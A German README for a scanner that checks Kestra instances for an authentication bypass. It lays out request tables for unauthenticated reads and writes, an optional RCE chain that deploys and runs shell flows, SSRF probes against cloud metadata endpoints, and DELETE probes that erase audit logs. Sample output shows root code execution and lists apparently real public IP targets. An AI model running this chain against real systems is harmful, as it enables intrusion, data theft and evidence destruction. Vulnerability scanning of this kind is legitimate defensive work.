
Kestra Auth-Bypass-Schwachstellenprüfer
Scannt Kestra-Instanzen auf die endsWith("/configs")-Authentifizierungsfilter-Umgehung. In Kestras AuthenticationFilter.java wird request.getPath().endsWith("/configs") anstelle einer exakten Pfadübereinstimmung mit /api/v1/configs geprüft. Da Kestra Ressourcen über vom Aufrufer wählbare Pfadsegmente (Namespace, Flow-ID) adressiert, umgeht jeder Pfad, der auf /configs endet, die Basis-Authentifizierung und ermöglicht unauthentifizierte Flow-Erstellung und RCE. (CVSS 10.0)
Referenzen:
GET /api/v1/configsGET /api/v1/{tenant}/flows (sollte 401/403 zurückgeben, falls Auth erzwungen wird)/configs enden; falls eine davon nicht 401/403 zurückgibt, während die Auth-Prüfung 401/403 erzwingt, ist die Instanz verwundbar--aggressive) sendet zusätzlich PUT-Anfragen, um die Schreib-Bypass-Fähigkeit zu bestätigen--rce) – vollständige Kette: Shell/Python-Flow erstellen → Ausführung anstoßen → Logs abrufen → Codeausführung bestätigen → Bereinigung--ssrf) – erstellt einen Flow mit Pebbles http(), der auf AWS-/GCP-/Azure-Cloud-Metadaten und interne Endpunkte zielt, und prüft dann Logs auf Hinweise--destructive) – sendet DELETE an Pfade für Flows, Dashboards und Logs, um eine Umgehung destruktiver Operationen zu bestätigen| Sonde | Methode | Pfad | Beschreibung |
|---|---|---|---|
| Public Configs | GET | /api/v1/configs | Lebendcheck + Versionsextraktion |
| Protected Normal | GET | /api/v1/{tenant}/flows | Auth-Erzwingungs-Baseline |
| Flows Bypass | GET | /api/v1/{tenant}/flows/{namespace}/configs | Flow-Auflistungs-Bypass |
| Executions Bypass | GET | /api/v1/{tenant}/executions/{namespace}/configs | Ausführungs-Bypass |
| KV Store Bypass | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV-Lese-Bypass |
| Dashboards Bypass | GET | /api/v1/{tenant}/dashboards/configs | Dashboard-Bypass |
| Logs Bypass | GET | /api/v1/{tenant}/logs/{namespace}/configs | Log-Zugriffs-Bypass |
| Templates Bypass | GET | /api/v1/{tenant}/templates/{namespace}/configs | Template-Lese-Bypass |
--aggressive)| Sonde | Methode | Pfad | Beschreibung |
|---|---|---|---|
| Flows PUT Bypass | PUT | gleicher Pfad wie Flows Bypass | Erstellt einen minimalen debug.Return-Flow |
| KV PUT Bypass | PUT | gleicher Pfad wie KV Bypass | Erstellt einen KV-Eintrag {"scanned": true} |
--destructive)| Sonde | Methode | Pfad | Beschreibung |
|---|---|---|---|
| Flows DELETE Bypass | DELETE | gleicher Pfad wie Flows Bypass | Löscht eine Ressource namens "configs" |
| Dashboards DELETE Bypass | DELETE | gleicher Pfad wie Dashboards Bypass | Löscht ein Dashboard namens "configs" |
| Logs DELETE Bypass | DELETE | gleicher Pfad wie Logs Bypass | Löscht Audit-Logs |
--rce)Wird nur ausgeführt, wenn Auth-Bypass bestätigt wurde. Die vollständige Kette aus dem Advisory:
| Schritt | Methode | Pfad | Beschreibung |
|---|---|---|---|
| 1. RCE-Flow erstellen | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Stellt Flow mit io.kestra.plugin.scripts.shell.Commands bereit (echo <marker>, id, hostname). Fallback auf io.kestra.plugin.scripts.python.Script bei Fehlschlag. |
| 2. Ausführung anstoßen | POST | /api/v1/{tenant}/executions/{namespace}/configs | Startet den Flow über den Bypass-Pfad |
| 3. Logs abfragen | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Fragt bis zu --poll-retries-mal (Standard 10) alle --poll-interval Sekunden (Standard 3) die Logs ab, sucht nach dem eindeutigen RCE-Marker |
| 4. Bereinigung | DELETE | gleicher Pfad wie Schritt 1 | Entfernt den bereitgestellten Flow |
--ssrf)Wird nur ausgeführt, wenn Auth-Bypass bestätigt wurde:
| Schritt | Methode | Pfad | Beschreibung |
|---|---|---|---|
| 1. SSRF-Flow erstellen | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Stellt einen debug.Return-Task mit Pebble-http()-Aufrufen an AWS (169.254.169.254/latest/meta-data/ami-id), GCP (metadata.google.internal), Azure (169.254.169.254/metadata/instance) und intern (127.0.0.1:8080/api/v1/configs) bereit |
| 2. Ausführung anstoßen | POST | gleicher Pfad wie RCE Schritt 2 | Löst den Flow aus |
| 3. Logs abfragen | GET | /api/v1/{tenant}/logs/search?executionId=<id> | Prüft auf Cloud-Metadaten-Indikatoren (ami-, i-, 169.254.169.254, metadata.google.internal usw.) |
| 4. Bereinigung | DELETE | gleicher Pfad wie Schritt 1 | Entfernt den bereitgestellten Flow |
positional:
target Einzelne Ziel-URL (z. B. http://localhost:8080)
options:
-f, --file Datei mit Zielen (eines pro Zeile)
-t, --timeout Request-Timeout in Sekunden (Standard: 10)
--verify-ssl TLS-Zertifikate überprüfen
-j, --json JSON-Ausgabe auf stdout
-o, --output JSON-Bericht in Datei schreiben
--tenant Tenant-Name (Standard: "main")
--namespace Namespace für Bypass-Pfade (Standard: "tutorial")
-w, --workers Thread-Anzahl für Bulk-Scans (Standard: 10)
-a, --aggressive PUT-Anfragen senden, um Schreib-Bypass zu bestätigen
-P, --auto-ports Ports für Auto-Expand (Standard: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce RCE-Verifikationskette aktivieren (Shell + Python-Flow,
Ausführungsauslösung, Log-Abruf, automatische Bereinigung)
-s, --ssrf SSRF-Erkennung aktivieren (Pebble http() zu Cloud-Metadaten-
Endpunkten, log-basierte Beweissammlung)
-d, --destructive DELETE-Sonden auf Flows, Dashboards und Logs aktivieren
(LÖSCHT Ressourcen auf verwundbaren Instanzen)
--poll-interval Sekunden zwischen Log-Abfragen für RCE/SSRF-Ketten (Standard: 3)
--poll-retries Maximale Log-Abfrageversuche für RCE/SSRF-Ketten (Standard: 10)
Vollständige, je Sonde aufgeschlüsselte Ausgabe mit Anreicherung (Version, RCE, SSRF, DELETE-Status) und Urteil:
====================================================================
Ziel: http://10.0.0.1:8080
Zeitstempel: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (BETROFFEN)
RCE: BESTÄTIGT via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: ERKANNT
| Indikatoren gefunden: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE-BYPASS: BESTÄTIGT (destruktive Operationen umgehen Auth)
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: JA
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: Nein
...
── RCE-Verifikationskette ──
Flow erstellt: 201
Auslösung: 201
Log-Beweis: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow bereinigt: 204
── SSRF-Erkennungskette ──
Flow erstellt: 201
Auslösung: 201
Beweis: 200
Indikatoren gefunden: ami-, 169.254.169.254, 127.0.0.1:8080
Flow bereinigt: 204
[ANFÄLLIG] Urteil: ANFÄLLIG ...
====================================================================
Sortierte Spaltentabelle mit RCE/SSRF/DEL-Flag-Spalten:
========================================================================================================================================
BULK-SCAN-ZUSAMMENFASSUNG GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Ziel Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Beurt.
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 JA JA JA RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 UNK - JA ANF.
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SICHER
...
========================================================================================================================================
Gesamt: 258 | Anfällig: 5 | RCE bestätigt: 1 | SSRF erkannt: 1 | DEL-Bypass: 2 | Sicher: 29 | Nicht eindeutig: 224
========================================================================================================================================
Exit-Codes: 0 = keine Verwundbarkeit, 1 = Verwundbarkeit gefunden, 2 = alle nicht eindeutig.
Bei Verwendung von -j oder -o enthält die Ausgabe pro Ziel Anreicherungsfelder:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
Der Scanner extrahiert automatisch die Kestra-Version aus der Antwort von GET /api/v1/configs und stuft sie ein:
| Version | Einstufung |
|---|---|
<= 1.0.44 | BETROFFEN (1.0-Branch, vor Patch) |
>= 1.0.45 | Gepatched (1.0-Branch) |
1.3.0 1.3.20 | BETROFFEN (1.3-Branch, vor Patch) |
>= 1.3.21 | Gepatched (1.3-Branch) |
>= 1.4.0 | Gepatched (neuer als betroffener Bereich) |
| Unbekannt | Version nicht in Antwort gefunden |
Dies verwendet einen Branch-bewussten Vergleich, da Kestra separate Patch-Branches (1.0.x und 1.3.x) unterhält.
Erfordert Python 3.10+.
pip install -r requirements.txt
python main.py --help
Nur für autorisierte defensive Tests. Die Flags --rce und --destructive erstellen und führen echte Ressourcen auf dem Ziel aus. Holen Sie stets eine ordnungsgemäße schriftliche Genehmigung ein, bevor Sie Systeme scannen, die Ihnen nicht gehören.